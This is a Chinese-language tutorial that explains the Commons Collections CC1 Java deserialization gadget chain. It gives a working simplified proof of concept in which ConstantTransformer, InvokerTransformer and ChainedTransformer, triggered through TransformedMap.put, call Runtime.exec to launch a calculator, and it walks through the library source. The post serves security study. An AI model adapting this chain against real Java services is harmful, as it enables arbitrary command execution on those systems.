0x01 前言
在学习Java反序列化漏洞时,不可避免的部分就是要学习各种利用链了,达到真正的入门
而且其中的 CommonCollections 利用链(简称为cc链),堪称经典,也是必学的一条链
但是如果直接读 ysoserial 源码,中的poc,对于刚入门来说,难度系数实在是太大
因此就想先将利用链简化一波,先入门,在一步一步提升难度
最终在完成对 ysoserial 项目中的 CommonCollections1 利用链的解读
0x02 环境搭建
编辑器为: IntelliJ IDEA
java版本:
java version "1.7.0_80"
Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
使用的架包:
Commons Collections 3.1
如果懒的创建环境的话,也可以通过github下载该环境如下:
https://github.com/pmiaowu/DeserializationTest
下载完环境以后指定项目的java版本为: jdk1.7
如果想自己一点点安装环境的话,那就先查看下面这一篇文章的环境搭建部分,搭建基础环境,链接如下:
https://www.yuque.com/pmiaowu/gpy1q8/ygthda#r66fl
搭建一个基础的环境以后
进入 DeserializationTest 目录,打开 pom.xml 添加如下配置
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
0x03 demo
// 先创建个简易版的cc1攻击链
// P牛Java安全漫谈上面抄的POC
// 路径: /DeserializationTest/src/main/java
// 文件名称: CommonCollections1Test1.java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1Test1 {
public static void main(String[] args) {
// 要执行的命令
String cmd = "open -a /System/Applications/Calculator.app";
//构建一个 transformers 的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
)
};
// 将 transformers 数组存入 ChaniedTransformer 这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
// 创建个 Map 准备拿来绑定 transformerChina
Map innerMap = new HashMap();
// 创建个 transformerChina 并绑定 innerMap
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("kk", "vvv");
System.out.println("执行完毕");
}
}
接着运行该文件进行攻击测试,即可看到弹出了计算器
运行完毕以后能成功执行,就可以了,就先不要想这个链的攻击思路了
让我们先跳过分析,把基础打一打
在分析这条链的时候,有非常多的类,新人以前是没接触到的
因此在正式分析之前,让我们跟着上面的简易版poc,进行学习
这个简易版的poc,它只是一个用来在本地测试的类,不能算一个真正的反序列化链
因为它最终没把outerMap对象变成一个序列化流,但是非常适合拿来了解CC1链攻击过程
0x04 前置知识学习
0x04.1 Transformer
0x04.1.1 作用说明
首先 Transformer
类,是 Commons Collections
中提供的一个接口类
它只有一个代实现的 transform
方法
0x04.1.2 该类的重点源码
public interface Transformer {
Object transform(Object var1);
}
0x04.1.3 小小疑问的解答
不知道读者们在使用这个 Transformer
类,时有没有一个疑问
就是明明 Transformer
类,是一个接口类啊!!!
而接口类在印象中是无法被实例化的,需要被其它普通类继承并实现的
而在我们上面的poc中,你可以看到写法是这样的,如下:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
)
};
明明是接口,但是为什么可以new
呢?
其实这里并不是说真的new
了接口
而是new
了一个Transformer[]
类型的数组回来,里面存储的是所有实现了Transformer
接口的类对象
所以把它当成一个单纯的类型转换器即可
0x04.2 ConstantTransformer
0x04.2.1 作用说明
ConstantTransformer
是继承并实现了Transformer
接口方法的一个类
它的作用就是在实例化完以后通过构造函数
接收一个对象
并且实现 Transformer
接口的transform
方法,为后面其它操作做服务
0x04.2.2 该类的重点源码
注: 只保留了必要的代码
package org.apache.commons.collections.functors;
import java.io.Serializable;
import org.apache.commons.collections.Transformer;
public class ConstantTransformer implements Transformer, Serializable {
...
private final Object iConstant;
...
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
...
}
0x04.2.3 对应POC代码
new ConstantTransformer(Runtime.class)
0x04.2.4 debug调试
首先通过idea直接点击 CommonCollections1Test1.java
中的 ConstantTransformer
进去到 ConstantTransformer
类以后,对ConstantTransformer
类构造函数
打上一个断点,进行调试
如下操作:
通过debug可以清楚的看到ConstantTransformer
类的构造函数
,只是将Runtime
对象赋值给了this.iConstant
变量ConstantTransformer
类的transform
方法,也只是返回了this.iConstant
0x04.3 InvokerTransformer
0x04.3.1 作用说明
InvokerTransformer
是继承并实现了Transformer
接口方法的一个类
并且这个类的transform
方法,实现了通过Java反射机制来进行执行任意代码的功能
可以说InvokerTransformer
类就是这条链子能执行任意代码的关键类
0x04.3.2 该类的重点源码功能讲解
在new InvokerTransformer
这个类时,需要我们向构造函数传入三个参数
第⼀个参数,是待执⾏的⽅法名
第二个参数,是这个函数的参数列表的参数类型
第三个参数,是传给这个函数的参数列表
构造函数如下:
可以看得到构造函数
只是进行了赋值操作
public class InvokerTransformer implements Transformer, Serializable {
...
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
...
}
然后因为InvokerTransformer
类继承了Transformer
接口,所以必须实现transform
方法
让我们看看transform
方法做了什么
public class InvokerTransformer implements Transformer, Serializable {
...
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
...
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}
InvokerTransformer
的transform
方法,通过反射,执行了input
对象的iMethodName
方法
也就是说利用该方法就可以通过Java反射机制来执行任意代码
0x04.3.3 对应的POC代码
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
)
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
)
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
)
0x04.3.4 debug调试构造函数
首先通过idea直接点击 CommonCollections1Test1.java
中的 InvokerTransformer
进去到 InvokerTransformer
类以后,先对ConstantTransformer
类构造函数
打上一个断点,进行调试查看最终的内容
0x04.4 ChainedTransformer
�ChainedTransformer
类是继承并实现了Transformer
接口方法的一个类
ChainedTransformer
类实现了Transformer
链式调用
只需要传入一个Transformer
数组ChainedTransformer
就可以实现依次的去调用每一个Transformer
的transform
方法,并且会将前一个回调返回的结果作为后一个的参数传入
简单的说: 它的作⽤是将内部的多个Transformer
串在⼀起,将前一个回调返回的结果作为后一个的参数传入
看到transform方法是通过传入Trasnformer[]数组来对传入的数值进行遍历并且调用数组对象的transform方法
0x04.4.1 作用说明
ChainedTransformer
是继承并实现了Transformer
接口方法的一个类
ChainedTransformer
类实现了Transformer
链式调用
0x04.4.2 分析
先查看一下POC对应代码操作
Transformer transformerChain = new ChainedTransformer(transformers);
将transformers
参数,传入了ChainedTransformer
类的构造函数
跟进去看看
package org.apache.commons.collections.functors;
import java.io.Serializable;
import java.util.Collection;
import java.util.Iterator;
import org.apache.commons.collections.Transformer;
public class ChainedTransformer implements Transformer, Serializable {
...
private final Transformer[] iTransformers;
...
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
...
}
很清楚的看到ChainedTransformer
类的构造函数
只是将传入的transformers
参数,赋值给了本类的this.iTransformers
成员变量里面
而ChainedTransformer
类的transform
方法
会遍历this.iTransformers
(Transformer
数组)逐个去调用它的transform
方法
并且会将前一个Transformer
的执行返回的结果,作为后一个Transformer
的参数传入
也就是前面说的链式调用!!!
接着debug一下,查看一下链式调用的执行过程
第一次运行,这里传入的是一个Runtime
类
第二次执行,可以看到已经将第一次执行的结果也就是Runtime
类,赋值给了第二次执行的input
参数了
此时的状态等于
Class cls = input.getClass();
Method method = cls.getMethod(getMethod,null);
return method.invoke(input, getRuntime);
第三次执行,反射调用并且返回getRuntime对象
此时的状态等于
Class cls = input.getClass();
Method method = cls.getMethod(invoke, null);
return method.invoke(input,null);
第四次执行,将实例化对象传入方法参数里面
此时的状态等于
// 注: input = Runtime
Class cls = input.getClass();
Method method = cls.getMethod("exec", null);
return method.invoke(input, "open -a /System/Applications/Calculator.app");
这样一个命令的链就大致构造好了
从这个debug可以完整的看出来ChainedTransformer
的作用就是将Transformer
数组给拼接起来
口语化的大概梳理一下执行过程
- 先通过
ConstantTransformer
得到Runtime.class
- 然后通过
InvokerTransformer
反射执行得到getRuntime
方法 - 接着在通过
InvokerTransformer
反射执行invoke
得到一个Runtime
对象 - 最后面在通过
InvokerTransformer
反射调用Runtime
对象的exec
方法造成命令执行
�通过分析了ChainedTransformer
类,我们发现了关键点之一!!!
就是如何触发ChainedTransformer
类的transform
方法?
0x04.5 TransformedMap
前面说过要想成功的命令执行就必须触发ChainedTransformer
类的transform
方法
而其中TransformedMap
类的decorate
方法就完美的符合要求了
0x04.5.1 对应的POC代码
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("kk", "vvv");
0x04.5.2 decorate方法功能说明
TransformedMap
的decorate
方法,会对Java标准数据结构Map
做一个装饰
decorate
方法接收的三个参数的作用分别为:
第⼀个参数作用为,接受修饰的一个Map
第二个参数接收值为,设置key
时调用的Transformer
第三个参数接收值为,设置value
时调用的Transformer
因此在实战中会创建一个ChainedTransformer
,它的返回值为一个Transformer
数组
然后将它绑定到一个TransformedMap
上,这样当Map
的key
或value
,设置元素时
就会调用ChainedTransformer
对应Transformer
类的transform
方法
最后面传出的outerMap
即是修饰后的Map
0x04.5.3 分析
第一个问题,跟进TransformedMap
类的构造函数
,看看做了什么?
第二个问题,同时又为什么需要调用decorate
方法?
第三个问题,为什么要调用TransformedMap
类的put
方法完成才能触发攻击?
第四个问题,除了TransformedMap
类的put
方法,还有别的方法可以么?
先看一眼TransformedMap
类重点源码
如下:
package org.apache.commons.collections.map;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Iterator;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
...
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
...
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
protected Map transformMap(Map map) {
Map result = new LinkedMap(map.size());
Iterator it = map.entrySet().iterator();
while(it.hasNext()) {
Entry entry = (Entry)it.next();
result.put(this.transformKey(entry.getKey()), this.transformValue(entry.getValue()));
}
return result;
}
...
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
public void putAll(Map mapToCopy) {
mapToCopy = this.transformMap(mapToCopy);
this.getMap().putAll(mapToCopy);
}
}
第一个问题答案:
很清楚的看到TransformedMap
类的构造函数
只是将传入的Map
和Transformer
分别赋值给了本类对应的成员变量里面
第二个问题答案:
但是该构造函数
的修饰符是protected
,因此外部无法正常调用
同时经过查看发现decorate
方法,会去调用该构造函数
这就是为什么要使用decorate
方法,因为构造函数
调不到
第三个问题答案:
那么回归正题,前面说过如何触发ChainedTransformer
类的transform
方法,就是能否命令执行的关键
因此这里需要做的就是搜索TransformedMap
类里面谁调用了transform
方法
通过下图,可以清楚的看到,触发点有三处
其中主要关注transformKey()
与transformValue()
方法即可
因为checkSetValue()
方法在类里面没有被调用,所以无法调用它
那么下一步就是寻找谁调用了transformKey()
或是transformValue()
方法,完成我们的攻击
通过下面一张图,可以明显看得到,只有put()
与putAll()
方法调用了,因此可以作为漏洞触发点
主要说说put
方法
调用put
方法就会调用transformKey()
或是transformValue()
方法
从而导致transformKey()
或是transformValue()
方法,会去调用transform
方法,执行命令
第四个问题答案:
当然有就是putAll()
方法,只是该方法,本质就是循环调用put()
而已
0x05 利用链过程
通过前置知识的学习,终于我们理通了Transformer的意义
那么现在就理一下整体的攻击流程
# 利用链过程
├── TransformedMap.put()
│ └── TransformedMap.transformValue()
│ └── ChainedTransformer.transform()
│ ├── ConstantTransformer.transform()
│ ├── InvokerTransformer.transform()
│ │ └── Method.invoke()
│ │ └── Class.getMethod()
│ ├── InvokerTransformer.transform()
│ │ └── Method.invoke()
│ │ └── Runtime.getRuntime()
│ └── InvokerTransformer.transform()
│ └── Method.invoke()
│ └── Runtime.exec()
0x06 总结
通过P牛这个简单到不能在简单的demo也是成功让它执行命令
但是它现在只是一个用来在本地测试的类
还不算一个真正的反序列化链,因为在实际运用中,需要将该demo代码转换为序列化流
在本地中,可以通过outerMap.put("kk", "vvv");
来触发漏洞
但是在实际中,需要找到一个类,读取恶意的序列化流,让它在反序列化的readObject()
逻辑时
有类似Map.put()
的操作,然后触发ChainedTransformer
类的transform
方法,最终执行恶意代码
注意: 本文非常重要,是CC1链中核心知识的一个补充学习,一定一定要学习并记在脑海中,理解了本篇文章,实际上其它文章就是如何让反序列化调用该demo的一个过程而已
未完待续….